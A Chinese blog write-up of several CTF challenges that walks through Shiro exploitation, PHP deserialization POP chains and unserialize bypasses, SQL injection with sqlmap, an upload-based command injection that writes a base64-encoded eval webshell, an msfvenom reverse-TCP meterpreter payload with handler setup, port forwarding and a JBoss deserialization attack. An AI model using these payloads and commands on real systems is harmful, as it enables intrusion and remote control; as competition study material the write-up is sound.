抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

今年题目质量还不错,竟然还有内网渗透部分,2333,因为平常CTF比较少

毕设刚好是做代码审计相关的,刚刚好又在 POP链这个题用上了,还挺开心~

0x1 Hard_Penetration

by Challenger

发现这是 shiro n day漏洞

image.png

顺便写了个内存马

image.png

连上去发现权限比较小,需要提权

然后尝试了 msf自带的,无果

image.png

尝试

https://github.com/mzet-/linux-exploit-suggester

https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

无果

有点像mysql udf 提权,不过不知道用户名和密码

image.png

源码包也找不到

看了下 flag 是www-data 权限,本机可能还有服务,扫了一下发现在 8005端口,然后代理转发出来(转发过程可参考 0x4 EasyWeb 的端口转发过程)

image.png

报错发现是 thinkphp 3.1.3,然后链接显示去 baocms

https://github.com/IsCrazyCat/demo-baocms-v17.1

审计走起

看了下,大概路由和控制器的对应关系如下

  • http://119.23.55.232:670/wap/ 前端就在 themes/Wap/ 里找,后端方法在/Lib/Action/Wap 里找,和URL对应就好
  • 同理 http://119.23.55.232:670/admin/ 前端就在 themes/Admin/ 里找,后端方法在/Lib/Action/Admin 里找
  • 然后后端方法的 xxxxAction.class.php 中的 Action.class.php 应该是其的加载规范,这个和laravel有点像

等wp吧。。。

还是没找到漏洞点。。。

#更新

赛后和xlw师兄交流了一波,发现漏洞点在

image.png

额,完全看不出来。。控制器太多了,,有点难看不出来,太菜了(image.png

0x2 pop_master

by tari

index.php 代码

1
2
3
4
5
6
7
8
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->NGPaqV($b);

明显的反序列化,但看 class.php.txt 后发现很乱。

📎class.php.txt

很多链是混淆的,有的是会覆盖值的,导致链就算构造了也无法进行反序列化

根据如下4点思路去过滤

  1. eval 没被引用,过滤
  2. for 循环中会覆盖传入参数值,过滤
  3. eval 前会覆盖值参数值,过滤
  4. 除了入口函数外,其他函数只被引用一次的,过滤

第2和3会覆盖值的是重点,第1和4,一次性过滤多点加快收敛速度(节约下一次运行脚本时间)

编写脚本如下,根据 AST 去剪切不需要的节点(即根据上面4点去除无用或会影响结果的函数)

之所以用 AST 是因相比正则或其他更能精准的剪切节点,PHP AST库传送门

  • $entryFunc 入口函数名称,根据实际情况来,即 index.php 里调用的函数 $class->NGPaqV($b);
  • PHP运行内存默认是 128M,在解析18w行代码会因内存不足退出,我这里php.ini 增加到 8196M
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
// 16w 行代码大概跑 105s, 定义300s肯定不会超时
ini_set('max_execution_time', '300');

require 'vendor/autoload.php';

use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;

// 入口函数名称
$entryFunc = 'NGPaqV';
// 输入文件
$inputPhpFile = './class.php';
// 输出文件
$outputPhpFile = './class.php';

$code = file_get_contents($inputPhpFile);
echo '[+] get file content done'."\n";

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);

try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
echo '[+] parse done'. "\n";

// 计数删了多少个函数
$deleteCnt = 0;
// $dumper = new NodeDumper;
// echo $dumper->dump($ast) . "\n";
foreach ($ast as $k=>$subclass) {
foreach ($subclass->stmts as $kk=>$classMember) {
if ($classMember instanceof PhpParser\Node\Stmt\ClassMethod) {
// echo $dumper->dump($classMember) . "\n";
// 除入口函数外的类方法没有被引用则删除
if (substr_count($code, $classMember->name->name) === 1 && $classMember->name->name !== $entryFunc) {
$deleteCnt++;
unset($subclass->stmts[$kk]);
continue;
}

if (! $classMember->params) { // 只获取第一个参数
continue;
}
$param = $classMember->params[0]->var->name; // 获取方法参数

foreach ($classMember->stmts as $kkkk => $subStatements) {
// echo $dumper->dump($subStatements) . "\n";
// 参数
if ($subStatements instanceof PhpParser\Node\Stmt\For_) {
$assignLeft = $subStatements->stmts[0]->expr->var->name;
# 参数会被赋值覆盖
if ($param === $assignLeft) {
# 删除该节点
$deleteCnt++;
unset($subclass->stmts[$kk]);
continue;
}
}
if ($subStatements instanceof PhpParser\Node\Stmt\Expression) {
// 参数值会被覆盖
if ($subStatements->expr instanceof PhpParser\Node\Expr\Assign) {
if ($param === $subStatements->expr->var->name) {
$deleteCnt++;
unset($subclass->stmts[$kk]);
continue;
}
}
// eval 是否不被引用
if ($subStatements->expr instanceof PhpParser\Node\Expr\Eval_) {
// 函数名称只出现一次
if (substr_count($code, $classMember->name->name) === 1) {
$deleteCnt++;
unset($subclass->stmts[$kk]);
continue;
}
}
}
}
}
}
}
echo '[+] filter done'."\n";

// 输出
$prettyPrinter = new PrettyPrinter\Standard;
$afterFilter = $prettyPrinter->prettyPrintFile($ast);
file_put_contents($outputPhpFile, $afterFilter);
echo '[+] total filter: '.$deleteCnt. ' function'."\n";

多运行几遍上面代码,大概15次左右,大概消耗20分钟左右,就会显示过滤完成了,即 total filter: 0 function。(脚本还可以改进,例如把没用的类也去掉)

去除完后,搜索发现就只有一个 eval,接下来反过来跟这条链即可~

image.png

构造 POP链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

class xCUG62
{
public $rLTCpuG;
function __construct() {
}
}

class E984fn
{
public $GcQ9wNy;
function __construct() {
$this->GcQ9wNy = new xCUG62();
}
}

class zOTHpM
{
public $HiDCYPi;
function __construct() {
$this->HiDCYPi = new E984fn();
}
}

class S0bXG3
{
public $t8FQmBq;
function __construct() {
$this->t8FQmBq = new zOTHpM();
}
}

class LTswgA
{
public $GP8GMDp;
function __construct() {
$this->GP8GMDp = new S0bXG3();
}
}

class Br2Com
{
public $aSGzyvk;
function __construct() {
$this->aSGzyvk = new LTswgA();
}
}

class MwVbup
{
public $qFwGWF6;
function __construct() {
$this->qFwGWF6 = new Br2Com();
}
}

class xxAkFU
{
public $YRn1G6B;
function __construct() {
$this->YRn1G6B = new MwVbup();
}
}

class UOPWFh
{
public $w2rcmoW;
function __construct() {
$this->w2rcmoW = new xxAkFU();
}
}

class fTTYmp
{
public $Ma3Koaf;
function __construct() {
$this->Ma3Koaf = new UOPWFh();
}
}

class zuNg7f
{
public $TNngTy9;
function __construct() {
$this->TNngTy9 = new fTTYmp();
}
}

class Q0Ehc0
{
public $Eze6mbP;
function __construct() {
$this->Eze6mbP = new zuNg7f();
}
}

class LNv8hP
{
public $kiZRG9G;
function __construct() {
$this->kiZRG9G = new Q0Ehc0();
}
}

class RLadP4
{
public $FkQAZ7e;
function __construct() {
$this->FkQAZ7e = new LNv8hP();
}
}

class K1lpuz
{
public $ZH6YAPE;
function __construct() {
$this->ZH6YAPE = new RLadP4();
}
}

class lIcDR2
{
public $Q7WCRu9;
function __construct() {
$this->Q7WCRu9 = new K1lpuz();
}
}

class xk6AMC
{
public $nqGOOTr;
function __construct() {
$this->nqGOOTr = new lIcDR2();
}
}

class mDnkFh
{
public $SLzu22G;
function __construct() {
$this->SLzu22G = new xk6AMC();
}
}

class LvG62O
{
public $AByNdFw;
function __construct() {
$this->AByNdFw = new mDnkFh();
}
}

class v00XnF
{
public $S9vaxl3;
function __construct() {
$this->S9vaxl3 = new LvG62O();
}
}

class mRhBx7
{
public $uMKr13G;
function __construct() {
$this->uMKr13G = new v00XnF();
}
}

class Eckd7K
{
public $bR5zBKO;
function __construct() {
$this->bR5zBKO = new mRhBx7();
}
}

class gGHPEt
{
public $IOGuqdZ;
function __construct() {
$this->IOGuqdZ = new Eckd7K();
}
}

// 1
class OcZqBy
{
public $yHPAqE1;
function __construct() {
$this->yHPAqE1 = new gGHPEt();
}
}


class NGPaqV{
public $ZwSdRyt;
function __construct() {
$this->ZwSdRyt = new OcZqBy();
}
}

$NG = new NGPaqV();
echo serialize($NG);

还有多余的字符拼接在我们可控字符的后面,因最终是 eval 转换为代码,通过注释去掉即可

即可获得flag

image.png

0x3 (部分)WhereIsUWebShell

赛后和xlw师兄交流了一波,表示学到了~!

先贴贴原题代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
I see your Cookie
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){

throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>

简要分析一下,存在以下几个文件

  • index.php 入口,也是反序列化点,不过存在正则 preg_match('/myclass/i',serialize($res)) 需要绕过
  • myclass.php 文件读取点
  • function.php __autoload 魔术方法文件,当实例化一个类时候,如 new myclass(); 然后找不到这个类时,会调用这个魔术方法,本题表现为包含某个文件。
  • e2a7106f1cc8bb1e1318df70aa0a3540.php 应该是提示之类的

这里正则绕过的思路很巧妙,表示学到了!

首先,如果没有反序列化 myclass 类,就因没包含 myclass.php 文件,进而导致利用不了 Hello

观察 index.php 代码可知,首先是反序列化 Cookie 里的序列化数据,然后在序列化刚刚反序列化的数据。这里看似,,好像无法修改,但仔细想想,PHP里有没有什么数据结构,会先天性存在,写入同一个位置会存在覆盖关系的,就豁然开朗了!

没错,就是,数组,只要反序列化数组,都在数据的同一位置,反序列化时,反序列化数组的第一个位置是 myclass 类,就会包含 myclass.php,然后同一第一个位置也是 Hello 类,那么就会覆盖第一个位置的 myclass 类,但此时 myclass.php,已经包含进来了,那么 Hello 类自然也能正常被反序列化了

构造 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class myclass {
}

class Hello{
public $qwb;
}

$he = new Hello();
$he->qwb = '/Users/tari/Sites/tari_local/e2a7106f1cc8bb1e1318df70aa0a3540.php';
$arr[1] = new myclass();
$arr[0] = $he;

echo urlencode(str_replace("i:0", "i:1", serialize($arr)));

image.png

image.png

就绕过去了

6月24日更新


从Nu1L的wp中看到的另外一种绕过方法,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class myclass
{
public $test;
}

class Hello
{
}

$a = new myclass();
$b = new Hello();
$b->qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php";
$a->test = $b;

$raw_exp = serialize($a);
echo urlencode(substr($raw_exp, 0, strlen($raw_exp) - 1));

即去除了序列化后数据最后一个花括号,能正常反序列化,但因序列化数据最后一位有误,unserialize 执行出现异常, $resfalse,所以绕过了正则表达式

image-20210624231406764

本地中 e2a7106f1cc8bb1e1318df70aa0a3540.php 文件内容为

1
2
<?php
$hint = 'hint';

正常读取文件内容

0x4 [强网先锋]赌徒

by tari

目录爆破 -> www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';

public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name;
return 'ok';
}

public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}

?>

调用逻辑为,反序列化调用 Start 类的 __wakeup 魔术方法 -> 调用 $this->_sayhello(); ,里面有 echo,可以触发 Info 类的 __toString 魔术方法,然后 Room 类无 ffiillee['ffiilleennaammee'] 属性,进而触发 __get 魔术方法,最好先构造后 Room$a 成员为 Room 对象即可(这里的坑为 $a 成员的 Room 对象不能在构造方法里构造,否则因这三个类相互调用而报错)

构造 POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Start
{
public $name='guest';
public $flag='1';
}

class Info
{
private $phonenumber = 123123;
public $promise = 'Ido';
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}

$st = new Start();
$if = new Info();
$ro = new Room();
$st->name = $if;
$if->file['filename'] = $ro;
$ro->a = new Room();

echo urlencode(serialize($st));

注意这个 hi,不是base64编码后的,注意去掉~

image.png

得到flag

image.png

0x5 [强网先锋]寻宝

key1

by tari

  1. 数字大于 1026即可
  2. 科学计数法绕过
  3. 跑一下脚本即可
1
2
3
4
5
6
7
8
9
10
11
import hashlib

target = '4bf21cd'
candidate = 0
while True:
plaintext = str(candidate)
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
if hash[:7] == target:
print('plaintext:"' + plaintext + '", md5:' + hash)
break
candidate = candidate + 1
  1. 浮点数绕过
  2. 让json解析失败即可
1
ppp[number1]=1026a&ppp[number2]=10e8&ppp[number3]=61823470&ppp[number4]=0.00000.0&ppp[number5]={\"a":1}

key1

image.png

KEY1{e1e1d3d40573127e9ee0480caf1283d6}

key2

challenger 来了句,有没有可能直接在文件里呢?

脚本安排上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import os
import docx


def dir_file(file_path):
file_list = []
for top, dirs, non_dirs in os.walk(file_path):
for item in non_dirs:
file_list.append(os.path.join(top, item))
return file_list


docx_list = filter(lambda s: s.endswith('.docx'), dir_file('/Users/tari/Downloads/five_month'))

for docx_file in docx_list:
try:
docx_object = docx.Document(docx_file)
except docx.opc.exceptions.PackageNotFoundError:
print('open failed: {}'.format(docx_file))
continue
for para in docx_object.paragraphs:
if "KEY2" in para.text:
print(docx_file)
print(para.text)
break

key2

image.png

KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}

提交两个key即可获得 flag

image.png

0x6 EasyWeb

by challenger

目录爆破 -> /hint

image.png

访问一下得到提示

image.png

尝试扫描 35000-40000端口

image.png

访问发现是个后台

image.png

貌似存在sql注入

sqlmap还可以直接跑出来

image.png

1
sqlmap -r sql.log -D easyweb -T employee -C username,passwd

image.png

帐号密码 admin/99f609527226e076d668668582ac4420

暂时没找到 ssrf 点在哪

不过找到一个文件上传点

image.png

过滤了一些字段,不过可以字符串拼接

image.png

whoami 是 www-data 然后flag没权限

image.png

查看提示

image.png

mysql 限制了文件的读取位置

这里直接写入webshell不知为何无法写入成功,因此在写入了 system 命令下,把webshell进行编码在写入

1
http://47.104.137.239:36842//upload//1aadcef13858c71dacc8e00b17d0cd10//phpinfo.php?s=echo%20%22PD9waHAgZXZhbChAJF9QT1NUWyJzIl0pOyA%2fPg%3d%3d%22|base64%20-d%20%3E%20s.php

然后看下端口,一个个试试

image.png

在 8006 发现 Jboss,端口转发出来

为了上传下载文件稳定性,这里用 msf进行(reGeorg 可能环境原因连不上)

生成马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=服务器IP lport=667 -f elf > msf_667

msfconsole上监听

1
2
3
4
5
use exploit/multi/handle
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 667
run

把生成的马上传上webshell,然后运行

1
2
chmod +x /tmp/msf_667
/tmp/msf_667

在反弹回来的meterpreter上进行端口转发

1
portfwd add -l 670 -p 8005 -r 127.0.0.1

image.png

可正常访问,并且得知为 JBoss 4.0,有个反序列化漏洞。

image.png

访问如下链接,确实可以利用

image.png

使用jexboss利用

https://github.com/joaomatosf/jexboss

image.png

评论